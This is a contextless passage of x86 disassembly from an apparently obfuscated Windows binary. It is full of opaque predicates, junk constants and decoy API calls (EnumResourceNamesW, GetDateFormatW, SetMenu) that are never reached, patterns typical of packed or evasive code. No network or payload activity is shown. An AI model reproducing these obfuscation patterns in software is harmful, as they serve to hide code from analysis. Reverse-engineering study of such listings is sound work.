and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0xb24], eax
jl 0x1003786b
mov dword [ebp - 0x7cc], 1
jmp 0x10037872
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x1044], eax
mov byte [ebp - 0x1ca], 0
movzx eax, byte [ebp - 0x1ca]
test eax, eax
je 0x1003789e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
jmp 0x10036e46
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0xb2c], 0x7054f86f
mov dword [ebp - 0x500], 6
mov dword [ebp - 0xb34], 0x52d9b6ef
mov dword [ebp - 0xf78], 5
mov dword [ebp - 0x123c], 1
mov dword [ebp - 0x1238], 1
mov dword [ebp - 0x1234], 1
mov dword [ebp - 0x1230], 1
mov dword [ebp - 0xb3c], 2
mov dword [ebp - 0x804], 0xce577e9f
mov dword [ebp - 0x11f4], 0x7bf5f1e6
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b0]
mov dword [ebp - 0x1554], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x4b0], 0xffff
jne 0x1003796a
mov dword [ebp - 0xcd4], 1
jmp 0x10037971
and dword [ebp - 0xcd4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b0]
cmp dword [ebp - 0xcd4], eax
jge 0x10037992
mov dword [ebp - 0x7d4], 1
jmp 0x10037999
and dword [ebp - 0x7d4], 0
mov eax, 0xcd45
sub eax, dword [ebp - 0x7d4]
je 0x10037a15
mov dword [ebp - 0x378], 5
mov dword [ebp - 0x378], 3
jmp 0x100379c9
mov eax, dword [ebp - 0x378]
dec eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0
jl 0x10037a13
mov dword [ebp - 0x250], 1
mov dword [ebp - 0x250], 0
jmp 0x100379f5
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 4
jge 0x10037a11
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x4b0], 0xfffffffa
jmp 0x100379e8
jmp 0x100379bc
jmp 0x10037a61
mov dword [ebp - 0x498], 0x6a07563f
mov dword [ebp - 0x10ec], 0xe3b00b72
mov dword [ebp - 0x498], 3
jmp 0x10037a42
mov eax, dword [ebp - 0x498]
dec eax
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0
jl 0x10037a61
mov dword [ebp - 0x1630], 2
mov dword [ebp - 0x10ec], 1
jmp 0x10037a35
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b0]
mov dword [ebp - 0xb2c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b0]
cmp eax, dword [ebp - 0xb2c]
je 0x10037a95
mov dword [ebp - 0x7fc], 1
jmp 0x10037a9c
and dword [ebp - 0x7fc], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4b0]
cmp ecx, dword [ebp + eax - 0x4b0]
jne 0x10037ac4
mov dword [ebp - 0x7dc], 1
jmp 0x10037acb
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x500]
add eax, 6
push 4
pop ecx
imul ecx, ecx, 3
cmp dword [ebp + ecx - 0x4b0], eax
jge 0x10037afb
mov dword [ebp - 0xdac], 1
jmp 0x10037b02
and dword [ebp - 0xdac], 0
cmp dword [ebp - 0xdac], 1
je 0x10037b17
mov dword [ebp - 0x7e4], 1
jmp 0x10037b1e
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0xb34], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xb34]
cmp ecx, dword [ebp + eax - 0x4b0]
jle 0x10037b58
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4b0], 0
jne 0x10037b58
and dword [ebp - 0x7ec], 0
jmp 0x10037b62
mov dword [ebp - 0x7ec], 1
cmp dword [ebp - 0x7ec], 0x4ad2
jle 0x10037b7a
mov dword [ebp - 0xcdc], 1
jmp 0x10037b81
and dword [ebp - 0xcdc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf78]
add ecx, dword [ebp - 0xcdc]
sub ecx, dword [ebp + eax - 0x4b0]
mov dword [ebp - 0x7f4], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x7f4]
mov dword [ebp + eax - 0x123c], ecx
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x4b0]
imul ecx, dword [ebp - 0x7f4]
cmp ecx, dword [ebp + eax - 0x4b0]
jl 0x10037be2
mov dword [ebp - 0xf34], 1
jmp 0x10037be9
and dword [ebp - 0xf34], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b0]
mov dword [ebp - 0x155c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x123c]
mov dword [ebp - 0x16cc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x123c]
mov dword [ebp - 0x1564], eax
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xb3c], eax
mov eax, dword [ebp - 0xb3c]
cmp dword [ebp - 0x7fc], eax
jne 0x10037c48
mov dword [ebp - 0xe70], 1
jmp 0x10037c4f
and dword [ebp - 0xe70], 0
mov eax, dword [ebp - 0xe70]
mov dword [ebp - 0x804], eax
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0x11f4], eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x380]
movzx eax, byte [ebp + eax - 0x316]
movsx eax, byte [ebp + eax - 0x1224]
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x313]
and ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x380]
movzx eax, byte [ebp + eax - 0x316]
movsx eax, byte [ebp + eax - 0x1224]
mov edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0x313]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x314]
mov byte [ebp + eax - 0x1224], dl
and dword [ebp - 0x380], 0
jmp 0x10036e46
mov dword [ebp - 0x13a4], 1
mov dword [ebp - 0x13a0], 1
mov dword [ebp - 0x139c], 1
mov dword [ebp - 0x1398], 1
lea ecx, [ebp - 0x581]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x1394]
push eax
lea eax, [ebp - 0x13a4]
push eax
lea ecx, [ebp - 0x1768]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11a0]
call fcn.10025e19
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x410], 0x4de6f885
push 2
lea ecx, [ebp - 0x11a0]
call fcn.10025e5b
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0x588]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x588]
mov ecx, dword [ecx]
inc ecx
mov edx, dword [ebp - 0x588]
mov dword [edx], ecx
test eax, eax
jne 0x10037d83
mov eax, 0xfe5e
test eax, eax
jne 0x10037d83
and dword [ebp - 0xb44], 0
jmp 0x10037d8d
mov dword [ebp - 0xb44], 1
cmp dword [ebp - 0xb44], 0x9501
jl 0x10037dff
push 2
lea ecx, [ebp - 0x11a0]
call fcn.10025e5b
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x1644], eax
mov esi, dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x11a0]
call fcn.10025e5b
add esi, dword [eax]
push 2
lea ecx, [ebp - 0x11a0]
call fcn.10025e5b
cmp esi, dword [eax]
jge 0x10037de4
mov dword [ebp - 0x80c], 1
jmp 0x10037deb
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
sub eax, 0x32e99ad3
and dword [ebp - 0xce4], 0
jmp 0x10037e09
mov dword [ebp - 0xce4], 1
mov eax, dword [ebp - 0xce4]
sub eax, 0xac84
cmp eax, 0x6753f3ac
jge 0x10037e27
mov dword [ebp - 0x814], 1
jmp 0x10037e2e
and dword [ebp - 0x814], 0
cmp dword [ebp - 0x814], 0xf2ef51ae
jbe 0x10037e46
mov dword [ebp - 0xb4c], 1
jmp 0x10037e4d
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x410]
cmp dword [ebp - 0xb4c], eax
jle 0x10037e67
mov dword [ebp - 0x81c], 1
jmp 0x10037e6e
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x410]
add eax, dword [ebp - 0x81c]
je 0x10037ea5
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x10037ea3
push 0x2071
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x10037ebf
mov byte [ebp - 0x1c4], 0
movzx eax, byte [ebp - 0x1c4]
test eax, eax
je 0x10037ebf
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11a0]
call fcn.10025e3f
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x1224], 0
mov dword [ebp - 0x1e0], 1
push 1
lea ecx, [ebp - 0xef0]
call fcn.10025ddd
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xb54], 0x2324015f
push 4
lea ecx, [ebp - 0x1400]
call fcn.10025ddd
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xb4], 0
jmp 0x10037f2e
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x10037f50
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xef0]
call fcn.10025e5b
mov dword [eax], 0x9b2cfb63
jmp 0x10037f21
mov dword [ebp - 0xb4], 0
jmp 0x10037f69
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 4
jge 0x10037f88
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1400]
call fcn.10025e5b
or dword [eax], 0xffffffff
jmp 0x10037f5c
mov dword [ebp - 0x1e0], 0xffffffe8
jmp 0x10037fa1
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 4
jg 0x100381e4
mov dword [ebp - 0x84], 0x10b999fb
mov dword [ebp - 0x84], 0
jmp 0x10037fd1
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jg 0x100381df
mov dword [ebp - 0x10f4], 0x43260389
mov dword [ebp - 0x117c], 0x90707e29
mov dword [ebp - 0x388], 0
jmp 0x1003800b
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 2
jge 0x10038027
mov eax, dword [ebp - 0x388]
mov dword [ebp + eax*4 - 0x1684], 0x94abc248
jmp 0x10037ffe
cmp dword [ebp - 0x1e0], 0
jne 0x1003803c
mov dword [ebp - 0xf3c], 1
jmp 0x10038043
and dword [ebp - 0xf3c], 0
mov eax, 0x348
test eax, eax
je 0x100380a1
cmp dword [ebp - 0x84], 0
je 0x10038073
push 0
lea ecx, [ebp - 0xef0]
call fcn.10025e5b
cmp dword [eax], 0
je 0x10038073
mov dword [ebp - 0xdb4], 1
jmp 0x1003807a
and dword [ebp - 0xdb4], 0
push dword [ebp - 0x84]
lea ecx, [ebp - 0xef0]
call fcn.10025e5b
mov ecx, dword [ebp - 0xdb4]
add ecx, dword [eax]
je 0x100380a1
mov dword [ebp - 0x508], 1
jmp 0x100380a8
and dword [ebp - 0x508], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x508]
mov dword [ebp + eax - 0x1684], ecx
mov eax, dword [ebp - 0x10f4]
imul eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0x84]
jg 0x100380dc
mov dword [ebp - 0x824], 1
jmp 0x100380e3
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x824], eax
jg 0x1003810c
push 0
lea ecx, [ebp - 0xef0]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003810c
and dword [ebp - 0xf44], 0
jmp 0x10038116
mov dword [ebp - 0xf44], 1
mov dword [ebp - 0xb54], 0xfffffffe
cmp dword [ebp - 0xb54], 0
jb 0x10038135
mov dword [ebp - 0x82c], 1
jmp 0x1003813c
and dword [ebp - 0x82c], 0
imul eax, dword [ebp - 0x82c], 0
cmp eax, 0x8abf
je 0x10038156
mov dword [ebp - 0xcec], 1
jmp 0x1003815d
and dword [ebp - 0xcec], 0
mov eax, dword [ebp - 0xcec]
sub eax, 0xa2ef
imul eax, eax, 3
test eax, eax
jne 0x10038181
cmp dword [ebp - 0x1e0], 0
jne 0x10038181
and dword [ebp - 0x560], 0
jmp 0x1003818b
mov dword [ebp - 0x560], 1
push 0
lea ecx, [ebp - 0x1400]
call fcn.10025e5b
mov ecx, dword [ebp - 0x560]
mov dword [eax], ecx
push dword [ebp - 0x84]
lea ecx, [ebp - 0xef0]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [ebp - 0x560]
jne 0x100381c7
mov dword [ebp - 0x834], 1
jmp 0x100381ce
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x117c], eax
jmp 0x10037fc4
jmp 0x10037f94
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1400]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xef0]
call fcn.10025e3f
lea eax, [ebp - 0x1224]
push eax
lea ecx, [ebp - 0x1844]
call fcn.100439bc
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0xf4c]
mov dword [ebp - 0x10fc], eax
mov dword [ebp - 4], 0xd
mov edx, dword [ebp - 0xa34]
mov ecx, dword [ebp - 0x10fc]
call fcn.10028fd5
mov dword [0x106208c4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1844]
call fcn.100439df
mov dword [ebp - 0x5c], 0xf2c29a3d
mov dword [ebp - 0x224], 0xc254
mov dword [ebp - 0x518], 0xe676
mov dword [ebp - 0x568], 8
mov dword [ebp - 0x21c], 0xb42b8ff
mov dword [ebp - 0x5a0], 0xffff
mov dword [ebp - 0xf5c], 0xa1a7
mov dword [ebp - 0x1184], 1
mov dword [ebp - 0x132c], 0xfff9
mov dword [ebp - 0x1328], 0xfff9
mov dword [ebp - 0x1324], 0xfff9
mov dword [ebp - 0x1320], 0xfff9
lea ecx, [ebp - 0x589]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x131c]
push eax
lea eax, [ebp - 0x132c]
push eax
lea ecx, [ebp - 0x1778]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1248]
call fcn.10025e19
mov dword [ebp - 4], 0xe
mov dword [ebp - 0xf6c], 0
mov dword [ebp - 0x458], 0
jmp 0x10038326
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 1
jge 0x10038342
mov eax, dword [ebp - 0x458]
mov dword [ebp + eax*4 - 0x520], 0xaf1124f0
jmp 0x10038319
mov dword [ebp - 0x5c], 0
jmp 0x10038352
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x100383ba
mov dword [ebp - 0x1574], 0x46721591
mov dword [ebp - 0x1694], 0x9ea41449
mov dword [ebp - 0x1584], 1
mov dword [ebp - 0x390], 0
jmp 0x1003838f
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 3
jge 0x100383ab
mov eax, dword [ebp - 0x390]
mov dword [ebp + eax*4 - 0x1868], 0xb04800fa
jmp 0x10038382
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
jmp 0x1003834b
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x21c]
cmp eax, dword [ebp - 0x5c]
jg 0x100383de
mov dword [ebp - 0xf54], 1
jmp 0x100383e5
and dword [ebp - 0xf54], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1658], eax
cmp dword [ebp - 0x518], 0
jne 0x100384f0
cmp dword [ebp - 0x5c], 0
jne 0x1003840d
mov dword [ebp - 0xb5c], 1
jmp 0x10038414
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0xb5c], eax
jge 0x10038429
cmp dword [ebp - 0x518], 0
cmp dword [ebp - 0x21c], 0xfffffffe
jne 0x1003843e
mov dword [ebp - 0x83c], 1
jmp 0x10038445
and dword [ebp - 0x83c], 0
imul eax, dword [ebp - 0x83c], 0xfff6
test eax, eax
jae 0x1003845f
mov dword [ebp - 0xe24], 1
jmp 0x10038466
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0x224]
cmp dword [ebp - 0xe24], eax
jge 0x10038480
mov dword [ebp - 0x844], 1
jmp 0x10038487
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x844], eax
jl 0x100384a1
mov dword [ebp - 0xb64], 1
jmp 0x100384a8
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0x5a0]
imul eax, dword [ebp - 0xb64]
cmp eax, dword [ebp - 0x224]
jg 0x100384c9
mov dword [ebp - 0x84c], 1
jmp 0x100384d0
and dword [ebp - 0x84c], 0
imul eax, dword [ebp - 0x84c], 0x747c
test eax, eax
jne 0x100384f0
cmp dword [ebp - 0x5a0], 0
jne 0x100384f0
and dword [ebp - 0x510], 0
jmp 0x100384fa
mov dword [ebp - 0x510], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x510]
mov dword [ebp + eax - 0x520], ecx
cmp dword [ebp - 0x510], 0
ja 0x10038522
mov dword [ebp - 0xcf4], 1
jmp 0x10038529
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xcf4]
mov dword [ebp - 0x5c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x520]
mov dword [ebp - 0x1594], eax
mov eax, 0x10e3a113
cmp eax, 0xc94d23a2
je 0x1003855d
mov dword [ebp - 0x854], 1
jmp 0x10038564
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
sub eax, dword [ebp - 0x224]
cmp eax, 0xd22f
jg 0x10038755
mov dword [ebp - 0x58], 0xe707
mov dword [ebp - 0x418], 0xffffffff
mov dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x418], eax
mov eax, 0x2f852669
sub eax, dword [ebp - 0x5c]
je 0x100385be
mov eax, 0xc484
test eax, eax
je 0x100385be
mov dword [ebp - 0xb6c], 1
jmp 0x100385c5
and dword [ebp - 0xb6c], 0
cmp dword [ebp - 0xb6c], 0xffff
jb 0x100385dd
mov dword [ebp - 0x1204], 1
jmp 0x100385e4
and dword [ebp - 0x1204], 0
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x16b4], eax
mov eax, dword [ebp - 0x518]
add eax, dword [ebp - 0x58]
cmp dword [ebp - 0x58], eax
jne 0x1003860a
mov dword [ebp - 0x85c], 1
jmp 0x10038611
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x85c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0xf5c]
cmp eax, dword [ebp - 0x58]
jge 0x10038634
mov dword [ebp - 0xdbc], 1
jmp 0x1003863b
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x418]
cmp eax, dword [ebp - 0xdbc]
jg 0x1003865e
mov dword [ebp - 0x864], 1
jmp 0x10038665
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x864]
imul eax, dword [ebp - 0x58]
cmp eax, 0xfffffff7
jbe 0x10038683
mov dword [ebp - 0x1104], 1
jmp 0x1003868a
and dword [ebp - 0x1104], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1460], eax
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x1464], eax
cmp dword [ebp - 0x58], 0x279a
jle 0x100386bd
mov eax, 0xfff6
test eax, eax
je 0x100386bd
mov dword [ebp - 0xb74], 1
jmp 0x100386c4
and dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0xb74]
sub eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x58]
jne 0x100386de
mov dword [ebp - 0xf64], 1
jmp 0x100386e5
and dword [ebp - 0xf64], 0
cmp dword [ebp - 0x1184], 0
je 0x1003872c
cmp dword [ebp - 0x418], 0
je 0x1003872c
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x1003872c
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x1003871d
push 0
push 0x24cd
call dword [sym.imp.USER32.dll_SetMenu]
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
jmp 0x10038750
push 2
lea ecx, [ebp - 0x1248]
call fcn.10025e5b
mov dword [ebp - 0xcfc], eax
mov eax, dword [ebp - 0xcfc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xcfc]
mov dword [ecx], eax
jmp 0x1003895b
mov dword [ebp - 0xcc], 0
jmp 0x1003876e
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x1003878a
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0xebc], 0
jmp 0x10038761
mov dword [ebp - 0xcc], 0
jmp 0x100387a3
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x100387bf
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x1738], 0xb7fb1da9
jmp 0x10038796
mov dword [ebp - 0x568], 0xfffffff6
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x568]
cmp ecx, dword [ebp + eax - 0x520]
jle 0x100387ea
mov dword [ebp - 0x88c], 1
jmp 0x100387f1
and dword [ebp - 0x88c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xebc]
mov dword [ebp - 0x146c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xebc], 0xe055878d
jae 0x10038823
mov dword [ebp - 0x874], 1
jmp 0x1003882a
and dword [ebp - 0x874], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x874]
sub ecx, dword [ebp + eax - 0xebc]
jne 0x10038858
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xebc], 0
jne 0x10038858
and dword [ebp - 0xb7c], 0
jmp 0x10038862
mov dword [ebp - 0xb7c], 1
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0xebc]
add esi, dword [ebp - 0xb7c]
push 2
lea ecx, [ebp - 0x1248]
call fcn.10025e5b
cmp dword [eax], esi
jl 0x1003889f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xebc], 0
jne 0x1003889f
and dword [ebp - 0x87c], 0
jmp 0x100388a9
mov dword [ebp - 0x87c], 1
cmp dword [ebp - 0x87c], 1
jg 0x100388be
mov dword [ebp - 0xe58], 1
jmp 0x100388c5
and dword [ebp - 0xe58], 0
mov eax, dword [ebp - 0xf6c]
cmp dword [ebp - 0xe58], eax
je 0x100388df
mov dword [ebp - 0x884], 1
jmp 0x100388e6
and dword [ebp - 0x884], 0
push 2
lea ecx, [ebp - 0x1248]
call fcn.10025e5b
mov ecx, dword [ebp - 0x884]
cmp ecx, dword [eax]
jge 0x10038909
mov dword [ebp - 0xb84], 1
jmp 0x10038910
and dword [ebp - 0xb84], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xebc]
cmp dword [ebp - 0xb84], eax
jle 0x1003893a
cmp dword [ebp - 0x224], 0
je 0x1003893a
mov dword [ebp - 0xd04], 1
jmp 0x10038941
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0x88c]
imul eax, dword [ebp - 0xd04]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1738], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1248]
call fcn.10025e3f
and dword [ebp - 0x3a0], 0
jmp 0x10038980
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0xe
jae 0x10038eb6
mov dword [ebp - 0x1e8], 0
push 2
lea ecx, [ebp - 0x1424]
call fcn.10025ddd
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x478], 9
mov dword [ebp - 0x120c], 0xbf3f
mov dword [ebp - 0xf8c], 0xd77974d3
mov dword [ebp - 0x137c], 0xfffffffa
mov dword [ebp - 0x1378], 0xfffffffa
mov dword [ebp - 0x1374], 0xfffffffa
mov dword [ebp - 0x1370], 0xfffffffa
lea ecx, [ebp - 0x5b9]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x136c]
push eax
lea eax, [ebp - 0x137c]
push eax
lea ecx, [ebp - 0x1788]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1708]
call fcn.10025e19
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x1474], 0
mov dword [ebp - 0x90], 0
jmp 0x10038a4d
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x10038a69
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x140c], 0
jmp 0x10038a40
mov dword [ebp - 0x90], 0
jmp 0x10038a82
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x10038aa1
push dword [ebp - 0x90]
lea ecx, [ebp - 0x1424]
call fcn.10025e5b
and dword [eax], 0
jmp 0x10038a75
mov dword [ebp - 0x1e8], 0
jmp 0x10038aba
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 2
jg 0x10038e3c
mov dword [ebp - 0x258], 0x4074dd03
mov dword [ebp - 0x110c], 1
mov dword [ebp - 0x147c], 0xa3d7f191
mov dword [ebp - 0x1484], 0xb43d2717
mov dword [ebp - 0x148c], 0x491ba6b4
push 2
lea ecx, [ebp - 0x1580]
call fcn.10025ddd
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x398], 0
jmp 0x10038b23
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 2
jge 0x10038b45
push dword [ebp - 0x398]
lea ecx, [ebp - 0x1580]
call fcn.10025e5b
mov dword [eax], 0xdd93ba6a
jmp 0x10038b16
mov dword [ebp - 0x258], 2
jmp 0x10038b5e
mov eax, dword [ebp - 0x258]
dec eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jl 0x10038e28
mov dword [ebp - 0x28c], 0xfffffff6
mov dword [ebp - 0x1494], 0xfffffff8
mov dword [ebp - 0x1194], 0xfad5befa
mov dword [ebp - 0x149c], 0x7e7c14ab
mov dword [ebp - 0x14a4], 0
mov dword [ebp - 0x14ac], 5
mov dword [ebp - 0x14b4], 0x494dfd99
mov dword [ebp - 0x1114], 0x97ee
mov dword [ebp - 0xf84], 0xf05c8a2d
mov dword [ebp - 0x28c], 0
jmp 0x10038bde
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 2
jg 0x10038e11
mov dword [ebp - 0x14bc], 0x720b963a
mov dword [ebp - 0xdc4], 0x66d210ec
mov dword [ebp - 0xf7c], 0xffffffff
mov dword [ebp - 0xf74], 1
mov dword [ebp - 0x14c4], 0x9bca7b5c
mov dword [ebp - 0x14cc], 0xdab551fa
mov dword [ebp - 0x14d4], 1
mov dword [ebp - 0x14dc], 0xffffffff
mov dword [ebp - 0x894], 0x639e6a41
mov dword [ebp - 0xb8c], 0xa8c98aac
mov dword [ebp - 0x14e4], 9
mov eax, dword [ebp - 0x28c]
mov eax, dword [ebp + eax*4 - 0x140c]
mov ecx, dword [ebp - 0x258]
mov dword [ebp + ecx*4 - 0x140c], eax
mov eax, dword [ebp - 0x110c]
mov dword [ebp - 0x894], eax
push 0
lea ecx, [ebp - 0x1424]
call fcn.10025e5b
and dword [eax], 0
mov dword [ebp - 0xb8c], 0
imul eax, dword [ebp - 0x894], 0x1c8
cmp eax, dword [ebp - 0xb8c]
jl 0x10038cb7
mov dword [ebp - 0x89c], 1
jmp 0x10038cbe
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0x478]
cmp eax, dword [ebp - 0xdc4]
jg 0x10038cf1
mov dword [ebp - 0xb9c], 1
jmp 0x10038cf8
and dword [ebp - 0xb9c], 0
